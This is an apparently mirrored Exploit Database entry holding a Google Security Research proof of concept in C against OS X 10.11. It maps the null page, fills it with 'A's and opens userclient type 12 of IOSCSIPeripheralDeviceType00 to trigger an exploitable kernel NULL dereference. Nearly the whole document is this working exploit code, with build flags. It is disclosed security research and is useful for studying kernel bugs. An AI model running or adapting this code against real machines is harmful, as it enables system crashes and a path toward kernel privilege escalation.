Apple Mac OSX – IOSCSIPeripheralDeviceType00 Userclient Type 12 Kernel NULL Dereference

• Exploit Database
• 20 阅读

• 作者： Google Security Research
  日期： 2016-01-28
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39376/

• /*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=562
  
  Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
  
  Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
  */
  
  // ianbeer
  // clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
  
  /*
  Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
  
  Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  
  #include <mach/mach.h>
  #include <mach/vm_map.h>
  #include <sys/mman.h>
  
  #include <unistd.h>
  
  #include <IOKit/IOKitLib.h>
  
  io_connect_t conn = MACH_PORT_NULL;
  
  int main() {
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
  printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
  if (err == KERN_INVALID_ADDRESS){
  printf("invalid address\n");
  }
  if (err == KERN_NO_SPACE){
  printf("no space\n");
  }
  printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
  np[i] = 'A';
  }
  
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
  if (service == MACH_PORT_NULL) {
  printf("can't find service\n");
  return 0;
  }
  
  IOServiceOpen(service, mach_task_self(), 12, &conn);// <-- userclient type 12
  if (conn == MACH_PORT_NULL) {
  printf("can't connect to service\n");
  return 0;
  }
  
  printf("boom?\n");
  
  return 0;
  }